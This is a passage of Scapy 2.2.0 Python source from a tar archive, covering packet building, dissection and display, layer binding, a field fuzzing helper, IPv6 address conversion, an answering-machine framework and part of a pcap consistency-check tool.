self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if f.name in self.fields: val = f.i2repr(self, self.fields[f.name]) elif f.name in self.overloaded_fields: val = f.i2repr(self, self.overloaded_fields[f.name]) else: continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value s += " %s%s%s" % (ncol(f.name), ct.punct("="), vcol(val)) return "%s%s %s %s%s%s"% (ct.punct("<"), ct.layer_name(self.__class__.__name__), s, ct.punct("|"), repr(self.payload), ct.punct(">")) def __str__(self): return self.build() def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/conf.raw_layer(load=other) else: return other.__rdiv__(self) def __rdiv__(self, other): if type(other) is str: return conf.raw_layer(load=other)/self else: raise TypeError def __mul__(self, other): if type(other) is int: return [self]*other else: raise TypeError def __rmul__(self,other): return self.__mul__(other) def __nonzero__(self): return True def __len__(self): return len(self.__str__()) def self_build(self, field_pos_list=None): p="" for f in self.fields_desc: val = self.getfieldval(f.name) if isinstance(val, RawVal): sval = str(val) p += sval if field_pos_list is not None: field_pos_list.append( (f.name, sval.encode("string_escape"), len(p), len(sval) ) ) else: p = f.addfield(self, p, val) return p def do_build_payload(self): return self.payload.do_build() def do_build(self): if not self.explicit: self = self.__iter__().next() pkt = self.self_build() for t in self.post_transforms: pkt = t(pkt) pay = self.do_build_payload() p = self.post_build(pkt,pay) return p def build_padding(self): return self.payload.build_padding() def build(self): p = self.do_build() p += self.build_padding() p = self.build_done(p) return p def post_build(self, pkt, pay): """DEV: called right after the current layer is build.""" return pkt+pay def build_done(self, p): return self.payload.build_done(p) def do_build_ps(self): p="" pl = [] q="" for f in self.fields_desc: p = f.addfield(self, p, self.getfieldval(f.name) ) if type(p) is str: r = p[len(q):] q = p else: r = "" pl.append( (f, f.i2repr(self,self.getfieldval(f.name)), r) ) pkt,lst = self.payload.build_ps(internal=1) p += pkt lst.append( (self, pl) ) return p,lst def build_ps(self,internal=0): p,lst = self.do_build_ps() # if not internal: # pkt = self # while pkt.haslayer(Padding): # pkt = pkt.getlayer(Padding) # lst.append( (pkt, [ ("loakjkjd", pkt.load, pkt.load) ] ) ) # p += pkt.load # pkt = pkt.payload return p,lst def psdump(self, filename=None, **kargs): """psdump(filename=None, layer_shift=0, rebuild=1) Creates an EPS file describing a packet. If filename is not provided a temporary file is created and gs is called.""" canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=".eps") canvas.writeEPSfile(fname) subprocess.Popen([conf.prog.psreader, fname+".eps"]) else: canvas.writeEPSfile(filename) def pdfdump(self, filename=None, **kargs): """pdfdump(filename=None, layer_shift=0, rebuild=1) Creates a PDF file describing a packet. If filename is not provided a temporary file is created and xpdf is called.""" canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=".pdf") canvas.writePDFfile(fname) subprocess.Popen([conf.prog.pdfreader, fname+".pdf"]) else: canvas.writePDFfile(filename) def canvas_dump(self, layer_shift=0, rebuild=1): canvas = pyx.canvas.canvas() if rebuild: p,t = self.__class__(str(self)).build_ps() else: p,t = self.build_ps() YTXT=len(t) for n,l in t: YTXT += len(l) YTXT = float(YTXT) YDUMP=YTXT XSTART = 1 XDSTART = 10 y = 0.0 yd = 0.0 xd = 0 XMUL= 0.55 YMUL = 0.4 backcolor=colgen(0.6, 0.8, 1.0, trans=pyx.color.rgb) forecolor=colgen(0.2, 0.5, 0.8, trans=pyx.color.rgb) # backcolor=makecol(0.376, 0.729, 0.525, 1.0) def hexstr(x): s = [] for c in x: s.append("%02x" % ord(c)) return " ".join(s) def make_dump_txt(x,y,txt): return pyx.text.text(XDSTART+x*XMUL, (YDUMP-y)*YMUL, r"\tt{%s}"%hexstr(txt), [pyx.text.size.Large]) def make_box(o): return pyx.box.rect(o.left(), o.bottom(), o.width(), o.height(), relcenter=(0.5,0.5)) def make_frame(lst): if len(lst) == 1: b = lst[0].bbox() b.enlarge(pyx.unit.u_pt) return b.path() else: fb = lst[0].bbox() fb.enlarge(pyx.unit.u_pt) lb = lst[-1].bbox() lb.enlarge(pyx.unit.u_pt) if len(lst) == 2 and fb.left() > lb.right(): return pyx.path.path(pyx.path.moveto(fb.right(), fb.top()), pyx.path.lineto(fb.left(), fb.top()), pyx.path.lineto(fb.left(), fb.bottom()), pyx.path.lineto(fb.right(), fb.bottom()), pyx.path.moveto(lb.left(), lb.top()), pyx.path.lineto(lb.right(), lb.top()), pyx.path.lineto(lb.right(), lb.bottom()), pyx.path.lineto(lb.left(), lb.bottom())) else: # XXX gb = lst[1].bbox() if gb != lb: gb.enlarge(pyx.unit.u_pt) kb = lst[-2].bbox() if kb != gb and kb != lb: kb.enlarge(pyx.unit.u_pt) return pyx.path.path(pyx.path.moveto(fb.left(), fb.top()), pyx.path.lineto(fb.right(), fb.top()), pyx.path.lineto(fb.right(), kb.bottom()), pyx.path.lineto(lb.right(), kb.bottom()), pyx.path.lineto(lb.right(), lb.bottom()), pyx.path.lineto(lb.left(), lb.bottom()), pyx.path.lineto(lb.left(), gb.top()), pyx.path.lineto(fb.left(), gb.top()), pyx.path.closepath(),) def make_dump(s, shift=0, y=0, col=None, bkcol=None, larg=16): c = pyx.canvas.canvas() tlist = [] while s: dmp,s = s[:larg-shift],s[larg-shift:] txt = make_dump_txt(shift, y, dmp) tlist.append(txt) shift += len(dmp) if shift >= 16: shift = 0 y += 1 if col is None: col = pyx.color.rgb.red if bkcol is None: col = pyx.color.rgb.white c.stroke(make_frame(tlist),[col,pyx.deco.filled([bkcol]),pyx.style.linewidth.Thick]) for txt in tlist: c.insert(txt) return c, tlist[-1].bbox(), shift, y last_shift,last_y=0,0.0 while t: bkcol = backcolor.next() proto,fields = t.pop() y += 0.5 pt = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % proto.name, [ pyx.text.size.Large]) y += 1 ptbb=pt.bbox() ptbb.enlarge(pyx.unit.u_pt*2) canvas.stroke(ptbb.path(),[pyx.color.rgb.black, pyx.deco.filled([bkcol])]) canvas.insert(pt) for fname, fval, fdump in fields: col = forecolor.next() ft = pyx.text.text(XSTART, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fname.name)) if isinstance(fval, str): if len(fval) > 18: fval = fval[:18]+"[...]" else: fval="" vt = pyx.text.text(XSTART+3, (YTXT-y)*YMUL, r"\font\cmssfont=cmss10\cmssfont{%s}" % tex_escape(fval)) y += 1.0 if fdump: dt,target,last_shift,last_y = make_dump(fdump, last_shift, last_y, col, bkcol) dtb = dt.bbox() dtb=target vtb = vt.bbox() bxvt = make_box(vtb) bxdt = make_box(dtb) dtb.enlarge(pyx.unit.u_pt) try: if yd < 0: cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=-90) else: cnx = pyx.connector.curve(bxvt,bxdt,absangle1=0, absangle2=90) except: pass else: canvas.stroke(cnx,[pyx.style.linewidth.thin,pyx.deco.earrow.small,col]) canvas.insert(dt) canvas.insert(ft) canvas.insert(vt) last_y += layer_shift return canvas def extract_padding(self, s): """DEV: to be overloaded to extract current layer's padding. Return a couple of strings (actual layer, padding)""" return s,None def post_dissect(self, s): """DEV: is called right after the current layer has been dissected""" return s def pre_dissect(self, s): """DEV: is called right before the current layer is dissected""" return s def do_dissect(self, s): flist = self.fields_desc[:] flist.reverse() while s and flist: f = flist.pop() s,fval = f.getfield(self, s) self.fields[f.name] = fval return s def do_dissect_payload(self, s): if s: cls = self.guess_payload_class(s) try: p = cls(s, _internal=1, _underlayer=self) except KeyboardInterrupt: raise except: if conf.debug_dissector: if isinstance(cls,type) and issubclass(cls,Packet): log_runtime.error("%s dissector failed" % cls.name) else: log_runtime.error("%s.guess_payload_class() returned [%s]" % (self.__class__.__name__,repr(cls))) if cls is not None: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(Padding(pad)) def guess_payload_class(self, payload): """DEV: Guesses the next payload class from layer bonds. Can be overloaded to use a different mechanism.""" for t in self.aliastypes: for fval, cls in t.payload_guess: ok = 1 for k in fval.keys(): if not hasattr(self, k) or fval[k] != self.getfieldval(k): ok = 0 break if ok: return cls return self.default_payload_class(payload) def default_payload_class(self, payload): """DEV: Returns the default payload class if nothing has been found by the guess_payload_class() method.""" return conf.raw_layer def hide_defaults(self): """Removes fields' values that are the same as default values.""" for k in self.fields.keys(): if self.default_fields.has_key(k): if self.default_fields[k] == self.fields[k]: del(self.fields[k]) self.payload.hide_defaults() def clone_with(self, payload=None, **kargs): pkt = self.__class__() pkt.explicit = 1 pkt.fields = kargs pkt.time = self.time pkt.underlayer = self.underlayer pkt.overload_fields = self.overload_fields.copy() pkt.post_transforms = self.post_transforms if payload is not None: pkt.add_payload(payload) return pkt def __iter__(self): def loop(todo, done, self=self): if todo: eltname = todo.pop() elt = self.getfieldval(eltname) if not isinstance(elt, Gen): if self.get_field(eltname).islist: elt = SetGen([elt]) else: elt = SetGen(elt) for e in elt: done[eltname]=e for x in loop(todo[:], done): yield x else: if isinstance(self.payload,NoPayload): payloads = [None] else: payloads = self.payload for payl in payloads: done2=done.copy() for k in done2: if isinstance(done2[k], VolatileValue): done2[k] = done2[k]._fix() pkt = self.clone_with(payload=payl, **done2) yield pkt if self.explicit: todo = [] done = self.fields else: todo = [ k for (k,v) in itertools.chain(self.default_fields.iteritems(), self.overloaded_fields.iteritems()) if isinstance(v, VolatileValue) ] + self.fields.keys() done = {} return loop(todo, done) def __gt__(self, other): """True if other is an answer from self (self ==> other).""" if isinstance(other, Packet): return other < self elif type(other) is str: return 1 else: raise TypeError((self, other)) def __lt__(self, other): """True if self is an answer from other (other ==> self).""" if isinstance(other, Packet): return self.answers(other) elif type(other) is str: return 1 else: raise TypeError((self, other)) def __eq__(self, other): if not isinstance(other, self.__class__): return False for f in self.fields_desc: if f not in other.fields_desc: return False if self.getfieldval(f.name) != other.getfieldval(f.name): return False return self.payload == other.payload def __ne__(self, other): return not self.__eq__(other) def hashret(self): """DEV: returns a string that has the same value for a request and its answer.""" return self.payload.hashret() def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 def haslayer(self, cls): """true if self has a layer that is an instance of cls. Superseded by "cls in self" syntax.""" if self.__class__ == cls or self.__class__.__name__ == cls: return 1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen,_iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): ret = fvalue.haslayer(cls) if ret: return ret return self.payload.haslayer(cls) def getlayer(self, cls, nb=1, _track=None): """Return the nb^th layer that is an instance of cls.""" if type(cls) is int: nb = cls+1 cls = None if type(cls) is str and "." in cls: ccls,fld = cls.split(".",1) else: ccls,fld = cls,None if cls is None or self.__class__ == cls or self.__class__.name == ccls: if nb == 1: if fld is None: return self else: return self.getfieldval(fld) else: nb -=1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen,_iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): track=[] ret = fvalue.getlayer(cls, nb, _track=track) if ret is not None: return ret nb = track[0] return self.payload.getlayer(cls,nb,_track=_track) def firstlayer(self): q = self while q.underlayer is not None: q = q.underlayer return q def __getitem__(self, cls): if type(cls) is slice: lname = cls.start if cls.stop: ret = self.getlayer(cls.start, cls.stop) else: ret = self.getlayer(cls.start) if ret is None and cls.step is not None: ret = cls.step else: lname=cls ret = self.getlayer(cls) if ret is None: if type(lname) is Packet_metaclass: lname = lname.__name__ elif type(lname) is not str: lname = repr(lname) raise IndexError("Layer [%s] not found" % lname) return ret def __delitem__(self, cls): del(self[cls].underlayer.payload) def __setitem__(self, cls, val): self[cls].underlayer.payload = val def __contains__(self, cls): """"cls in self" returns true if self has a layer which is an instance of cls.""" return self.haslayer(cls) def route(self): return (None,None,None) def fragment(self, *args, **kargs): return self.payload.fragment(*args, **kargs) def display(self,*args,**kargs): # Deprecated. Use show() """Deprecated. Use show() method.""" self.show(*args,**kargs) def show(self, indent=3, lvl="", label_lvl=""): """Prints a hierarchical view of the packet. "indent" gives the size of indentation for each layer.""" ct = conf.color_theme print "%s%s %s %s" % (label_lvl, ct.punct("###["), ct.layer_name(self.name), ct.punct("]###")) for f in self.fields_desc: if isinstance(f, ConditionalField) and not f._evalcond(self): continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and type(fvalue) is list): print "%s \\%-10s\\" % (label_lvl+lvl, ncol(f.name)) fvalue_gen = SetGen(fvalue,_iterpacket=0) for fvalue in fvalue_gen: fvalue.show(indent=indent, label_lvl=label_lvl+lvl+" |") else: begn = "%s %-10s%s " % (label_lvl+lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self,fvalue) if type(reprval) is str: reprval = reprval.replace("\n", "\n"+" "*(len(label_lvl) +len(lvl) +len(f.name) +4)) print "%s%s" % (begn,vcol(reprval)) self.payload.show(indent=indent, lvl=lvl+(" "*indent*self.show_indent), label_lvl=label_lvl) def show2(self): """Prints a hierarchical view of an assembled version of the packet, so that automatic fields are calculated (checksums, etc.)""" self.__class__(str(self)).show() def sprintf(self, fmt, relax=1): """sprintf(format, [relax=1]) -> str where format is a string that can include directives. A directive begins and ends by % and has the following format %[fmt[r],][cls[:nb].]field%. fmt is a classic printf directive, "r" can be appended for raw substitution (ex: IP.flags=0x18 instead of SA), nb is the number of the layer we want (ex: for IP/IP packets, IP:2.src is the src of the upper IP layer). Special case : "%.time%" is the creation time. Ex : p.sprintf("%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% " "%03xr,IP.proto% %r,TCP.flags%") Moreover, the format string can include conditionnal statements. A conditionnal statement looks like : {layer:string} where layer is a layer name, and string is the string to insert in place of the condition if it is true, i.e. if layer is present. If layer is preceded by a "!", the result si inverted. Conditions can be imbricated. A valid statement can be : p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet") p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}") A side effect is that, to obtain "{" and "}" characters, you must use "%(" and "%)". """ escape = { "%": "%", "(": "{", ")": "}" } # Evaluate conditions while "{" in fmt: i = fmt.rindex("{") j = fmt[i+1:].index("}") cond = fmt[i+1:i+j+1] k = cond.find(":") if k < 0: raise Scapy_Exception("Bad condition in format string: [%s] (read sprintf doc!)"%cond) cond,format = cond[:k],cond[k+1:] res = False if cond[0] == "!": res = True cond = cond[1:] if self.haslayer(cond): res = not res if not res: format = "" fmt = fmt[:i]+format+fmt[i+j+2:] # Evaluate directives s = "" while "%" in fmt: i = fmt.index("%") s += fmt[:i] fmt = fmt[i+1:] if fmt and fmt[0] in escape: s += escape[fmt[0]] fmt = fmt[1:] continue try: i = fmt.index("%") sfclsfld = fmt[:i] fclsfld = sfclsfld.split(",") if len(fclsfld) == 1: f = "s" clsfld = fclsfld[0] elif len(fclsfld) == 2: f,clsfld = fclsfld else: raise Scapy_Exception if "." in clsfld: cls,fld = clsfld.split(".") else: cls = self.__class__.__name__ fld = clsfld num = 1 if ":" in cls: cls,num = cls.split(":") num = int(num) fmt = fmt[i+1:] except: raise Scapy_Exception("Bad format string [%%%s%s]" % (fmt[:25], fmt[25:] and "...")) else: if fld == "time": val = time.strftime("%H:%M:%S.%%06i", time.localtime(self.time)) % int((self.time-int(self.time))*1000000) elif cls == self.__class__.__name__ and hasattr(self, fld): if num > 1: val = self.payload.sprintf("%%%s,%s:%s.%s%%" % (f,cls,num-1,fld), relax) f = "s" elif f[-1] == "r": # Raw field value val = getattr(self,fld) f = f[:-1] if not f: f = "s" else: val = getattr(self,fld) if fld in self.fieldtype: val = self.fieldtype[fld].i2repr(self,val) else: val = self.payload.sprintf("%%%s%%" % sfclsfld, relax) f = "s" s += ("%"+f) % val s += fmt return s def mysummary(self): """DEV: can be overloaded to return a string that summarizes the layer. Only one mysummary() is used in a whole packet summary: the one of the upper layer, except if a mysummary() also returns (as a couple) a list of layers whose mysummary() must be called if they are present.""" return "" def _do_summary(self): found,s,needed = self.payload._do_summary() if s: s = " / "+s ret = "" if not found or self.__class__ in needed: ret = self.mysummary() if type(ret) is tuple: ret,n = ret needed += n if ret or needed: found = 1 if not ret: ret = self.__class__.__name__ if self.__class__ in conf.emph: impf = [] for f in self.fields_desc: if f in conf.emph: impf.append("%s=%s" % (f.name, f.i2repr(self, self.getfieldval(f.name)))) ret = "%s [%s]" % (ret," ".join(impf)) ret = "%s%s" % (ret,s) return found,ret,needed def summary(self, intern=0): """Prints a one line summary of a packet.""" found,s,needed = self._do_summary() return s def lastlayer(self,layer=None): """Returns the uppest layer of the packet""" return self.payload.lastlayer(self) def decode_payload_as(self,cls): """Reassembles the payload and decode it using another packet class""" s = str(self.payload) self.payload = cls(s, _internal=1, _underlayer=self) pp = self while pp.underlayer is not None: pp = pp.underlayer self.payload.dissection_done(pp) def libnet(self): """Not ready yet. Should give the necessary C code that interfaces with libnet to recreate the packet""" print "libnet_build_%s(" % self.__class__.name.lower() det = self.__class__(str(self)) for f in self.fields_desc: val = det.getfieldval(f.name) if val is None: val = 0 elif type(val) is int: val = str(val) else: val = '"%s"' % str(val) print "\t%s, \t\t/* %s */" % (val,f.name) print ");" def command(self): """Returns a string representing the command you have to type to obtain the same packet""" f = [] for fn,fv in self.fields.items(): fld = self.get_field(fn) if isinstance(fv, Packet): fv = fv.command() elif fld.islist and fld.holds_packets and type(fv) is list: fv = "[%s]" % ",".join( map(Packet.command, fv)) else: fv = repr(fv) f.append("%s=%s" % (fn, fv)) c = "%s(%s)" % (self.__class__.__name__, ", ".join(f)) pc = self.payload.command() if pc: c += "/"+pc return c class NoPayload(Packet): def __new__(cls, *args, **kargs): singl = cls.__dict__.get("__singl__") if singl is None: cls.__singl__ = singl = Packet.__new__(cls) Packet.__init__(singl) return singl def __init__(self, *args, **kargs): pass def dissection_done(self,pkt): return def add_payload(self, payload): raise Scapy_Exception("Can't add payload to NoPayload instance") def remove_payload(self): pass def add_underlayer(self,underlayer): pass def remove_underlayer(self,other): pass def copy(self): return self def __repr__(self): return "" def __str__(self): return "" def __nonzero__(self): return False def do_build(self): return "" def build(self): return "" def build_padding(self): return "" def build_done(self, p): return p def build_ps(self, internal=0): return "",[] def getfieldval(self, attr): raise AttributeError(attr) def getfield_and_val(self, attr): raise AttributeError(attr) def setfieldval(self, attr, val): raise AttributeError(attr) def delfieldval(self, attr): raise AttributeError(attr) def __getattr__(self, attr): if attr in self.__dict__: return self.__dict__[attr] elif attr in self.__class__.__dict__: return self.__class__.__dict__[attr] else: raise AttributeError, attr def hide_defaults(self): pass def __iter__(self): return iter([]) def __eq__(self, other): if isinstance(other, NoPayload): return True return False def hashret(self): return "" def answers(self, other): return isinstance(other, NoPayload) or isinstance(other, Padding) def haslayer(self, cls): return 0 def getlayer(self, cls, nb=1, _track=None): if _track is not None: _track.append(nb) return None def fragment(self, *args, **kargs): raise Scapy_Exception("cannot fragment this packet") def show(self, indent=3, lvl="", label_lvl=""): pass def sprintf(self, fmt, relax): if relax: return "??" else: raise Scapy_Exception("Format not found [%s]"%fmt) def _do_summary(self): return 0,"",[] def lastlayer(self,layer): return layer def command(self): return "" #################### ## packet classes ## #################### class Raw(Packet): name = "Raw" fields_desc = [ StrField("load", "") ] def answers(self, other): return 1 # s = str(other) # t = self.load # l = min(len(s), len(t)) # return s[:l] == t[:l] def mysummary(self): cs = conf.raw_summary if cs: if callable(cs): return "Raw %s" % cs(self.load) else: return "Raw %r" % self.load return Packet.mysummary(self) class Padding(Raw): name = "Padding" def self_build(self): return "" def build_padding(self): return self.load+self.payload.build_padding() conf.raw_layer = Raw if conf.default_l2 is None: conf.default_l2 = Raw ################# ## Bind layers ## ################# def bind_bottom_up(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) lower.payload_guess = lower.payload_guess[:] lower.payload_guess.append((fval, upper)) def bind_top_down(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) upper.overload_fields = upper.overload_fields.copy() upper.overload_fields[lower] = fval @conf.commands.register def bind_layers(lower, upper, __fval=None, **fval): """Bind 2 layers on some specific fields' values""" if __fval is not None: fval.update(__fval) bind_top_down(lower, upper, **fval) bind_bottom_up(lower, upper, **fval) def split_bottom_up(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) def do_filter((f,u),upper=upper,fval=fval): if u != upper: return True for k in fval: if k not in f or f[k] != fval[k]: return True return False lower.payload_guess = filter(do_filter, lower.payload_guess) def split_top_down(lower, upper, __fval=None, **fval): if __fval is not None: fval.update(__fval) if lower in upper.overload_fields: ofval = upper.overload_fields[lower] for k in fval: if k not in ofval or ofval[k] != fval[k]: return upper.overload_fields = upper.overload_fields.copy() del(upper.overload_fields[lower]) @conf.commands.register def split_layers(lower, upper, __fval=None, **fval): """Split 2 layers previously bound""" if __fval is not None: fval.update(__fval) split_bottom_up(lower, upper, **fval) split_top_down(lower, upper, **fval) @conf.commands.register def ls(obj=None): """List available layers, or infos on a given layer""" if obj is None: import __builtin__ all = __builtin__.__dict__.copy() all.update(globals()) objlst = sorted(conf.layers, key=lambda x:x.__name__) for o in objlst: print "%-10s : %s" %(o.__name__,o.name) else: if isinstance(obj, type) and issubclass(obj, Packet): for f in obj.fields_desc: print "%-10s : %-20s = (%s)" % (f.name, f.__class__.__name__, repr(f.default)) elif isinstance(obj, Packet): for f in obj.fields_desc: print "%-10s : %-20s = %-15s (%s)" % (f.name, f.__class__.__name__, repr(getattr(obj,f.name)), repr(f.default)) if not isinstance(obj.payload, NoPayload): print "--" ls(obj.payload) else: print "Not a packet class. Type 'ls()' to list packet classes." ############# ## Fuzzing ## ############# @conf.commands.register def fuzz(p, _inplace=0): """Transform a layer into a fuzzy layer by replacing some default values by random objects""" if not _inplace: p = p.copy() q = p while not isinstance(q, NoPayload): for f in q.fields_desc: if isinstance(f, PacketListField): for r in getattr(q, f.name): print "fuzzing", repr(r) fuzz(r, _inplace=1) elif f.default is not None: rnd = f.randval() if rnd is not None: q.default_fields[f.name] = rnd q = q.payload return p scapy-2.2.0/scapy/pton_ntop.py0000644000175000017500000000660611430356077014467 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Convert IPv6 addresses between textual representation and binary. These functions are missing when python is compiled without IPv6 support, on Windows for instance. """ import socket,struct def inet_pton(af, addr): """Convert an IP address from text representation into binary form""" if af == socket.AF_INET: return inet_aton(addr) elif af == socket.AF_INET6: # IPv6: The use of "::" indicates one or more groups of 16 bits of zeros. # We deal with this form of wildcard using a special marker. JOKER = "*" while "::" in addr: addr = addr.replace("::", ":" + JOKER + ":") joker_pos = None # The last part of an IPv6 address can be an IPv4 address ipv4_addr = None if "." in addr: ipv4_addr = addr.split(":")[-1] result = "" parts = addr.split(":") for part in parts: if part == JOKER: # Wildcard is only allowed once if joker_pos is None: joker_pos = len(result) else: raise Exception("Illegal syntax for IP address") elif part == ipv4_addr: # FIXME: Make sure IPv4 can only be last part # FIXME: inet_aton allows IPv4 addresses with less than 4 octets result += socket.inet_aton(ipv4_addr) else: # Each part must be 16bit. Add missing zeroes before decoding. try: result += part.rjust(4, "0").decode("hex") except TypeError: raise Exception("Illegal syntax for IP address") # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes) if JOKER in addr: result = (result[:joker_pos] + "\x00" * (16 - len(result)) + result[joker_pos:]) if len(result) != 16: raise Exception("Illegal syntax for IP address") return result else: raise Exception("Address family not supported") def inet_ntop(af, addr): """Convert an IP address from binary form into text represenation""" if af == socket.AF_INET: return inet_ntoa(addr) elif af == socket.AF_INET6: # IPv6 addresses have 128bits (16 bytes) if len(addr) != 16: raise Exception("Illegal syntax for IP address") parts = [] for left in [0, 2, 4, 6, 8, 10, 12, 14]: try: value = struct.unpack("!H", addr[left:left+2])[0] hexstr = hex(value)[2:] except TypeError: raise Exception("Illegal syntax for IP address") parts.append(hexstr.lstrip("0").lower()) result = ":".join(parts) while ":::" in result: result = result.replace(":::", "::") # Leaving out leading and trailing zeros is only allowed with :: if result.endswith(":") and not result.endswith("::"): result = result + "0" if result.startswith(":") and not result.startswith("::"): result = "0" + result return result else: raise Exception("Address family not supported yet") scapy-2.2.0/scapy/ansmachine.py0000644000175000017500000000765211430356063014552 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Answering machines. """ ######################## ## Answering machines ## ######################## from sendrecv import send,sendp,sniff from config import conf from error import log_interactive class ReferenceAM(type): def __new__(cls, name, bases, dct): o = super(ReferenceAM, cls).__new__(cls, name, bases, dct) if o.function_name: globals()[o.function_name] = lambda o=o,*args,**kargs: o(*args,**kargs)() return o class AnsweringMachine(object): __metaclass__ = ReferenceAM function_name = "" filter = None sniff_options = { "store":0 } sniff_options_list = [ "store", "iface", "count", "promisc", "filter", "type", "prn", "stop_filter" ] send_options = { "verbose":0 } send_options_list = ["iface", "inter", "loop", "verbose"] send_function = staticmethod(send) def __init__(self, **kargs): self.mode = 0 if self.filter: kargs.setdefault("filter",self.filter) kargs.setdefault("prn", self.reply) self.optam1 = {} self.optam2 = {} self.optam0 = {} doptsend,doptsniff = self.parse_all_options(1, kargs) self.defoptsend = self.send_options.copy() self.defoptsend.update(doptsend) self.defoptsniff = self.sniff_options.copy() self.defoptsniff.update(doptsniff) self.optsend,self.optsniff = [{},{}] def __getattr__(self, attr): for d in [self.optam2, self.optam1]: if attr in d: return d[attr] raise AttributeError,attr def __setattr__(self, attr, val): mode = self.__dict__.get("mode",0) if mode == 0: self.__dict__[attr] = val else: [self.optam1, self.optam2][mode-1][attr] = val def parse_options(self): pass def parse_all_options(self, mode, kargs): sniffopt = {} sendopt = {} for k in kargs.keys(): if k in self.sniff_options_list: sniffopt[k] = kargs[k] if k in self.send_options_list: sendopt[k] = kargs[k] if k in self.sniff_options_list+self.send_options_list: del(kargs[k]) if mode != 2 or kargs: if mode == 1: self.optam0 = kargs elif mode == 2 and kargs: k = self.optam0.copy() k.update(kargs) self.parse_options(**k) kargs = k omode = self.__dict__.get("mode",0) self.__dict__["mode"] = mode self.parse_options(**kargs) self.__dict__["mode"] = omode return sendopt,sniffopt def is_request(self, req): return 1 def make_reply(self, req): return req def send_reply(self, reply): self.send_function(reply, **self.optsend) def print_reply(self, req, reply): print "%s ==> %s" % (req.summary(),reply.summary()) def reply(self, pkt): if not self.is_request(pkt): return reply = self.make_reply(pkt) self.send_reply(reply) if conf.verb >= 0: self.print_reply(pkt, reply) def run(self, *args, **kargs): log_interactive.warning("run() method deprecated. The intance is now callable") self(*args,**kargs) def __call__(self, *args, **kargs): optsend,optsniff = self.parse_all_options(2,kargs) self.optsend=self.defoptsend.copy() self.optsend.update(optsend) self.optsniff=self.defoptsniff.copy() self.optsniff.update(optsniff) try: self.sniff() except KeyboardInterrupt: print "Interrupted by user" def sniff(self): sniff(**self.optsniff) scapy-2.2.0/scapy/tools/0000755000175000017500000000000011532602317013217 5ustar pbipbiscapy-2.2.0/scapy/tools/__init__.py0000644000175000017500000000036511430356077015342 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Additional tools to be run separately """ scapy-2.2.0/scapy/tools/check_asdis.py0000755000175000017500000000544611154735574016061 0ustar pbipbi#! /usr/bin/env python import getopt def usage(): print >>sys.stderr,"""Usage: check_asdis -i [-o ] -v increase verbosity -d hexdiff packets that differ -z compress output pcap -a open pcap file in append mode""" def main(argv): PCAP_IN = None PCAP_OUT = None COMPRESS=False APPEND=False DIFF=False VERBOSE=0 try: opts=getopt.getopt(argv, "hi:o:azdv") for opt, parm in opts[0]: if opt == "-h": usage() raise SystemExit elif opt == "-i": PCAP_IN = parm elif opt == "-o": PCAP_OUT = parm elif opt == "-v": VERBOSE += 1 elif opt == "-d": DIFF = True elif opt == "-a": APPEND = True elif opt == "-z": COMPRESS = True if PCAP_IN is None: raise getopt.GetoptError("Missing pcap file (-i)") except getopt.GetoptError,e: print >>sys.stderr,"ERROR: %s" % e raise SystemExit from scapy.config import conf from scapy.utils import RawPcapReader,RawPcapWriter,hexdiff from scapy.layers import all pcap = RawPcapReader(PCAP_IN) pcap_out = None if PCAP_OUT: pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype) pcap_out._write_header(None) LLcls = conf.l2types.get(pcap.linktype) if LLcls is None: print >>sys.stderr," Unknown link type [%i]. Can't test anything!" % pcap.linktype raise SystemExit i=-1 differ=0 failed=0 for p1,meta in pcap: i += 1 try: p2d = LLcls(p1) p2 = str(p2d) except KeyboardInterrupt: raise except Exception,e: print "Dissection error on packet %i" % i failed += 1 else: if p1 == p2: if VERBOSE >= 2: print "Packet %i ok" % i continue else: print "Packet %i differs" % i differ += 1 if VERBOSE >= 1: print repr(p2d) if DIFF: hexdiff(p1,p2) if pcap_out is not None: pcap_out.write(p1) i+=1 correct = i-differ-failed print "%i total packets. 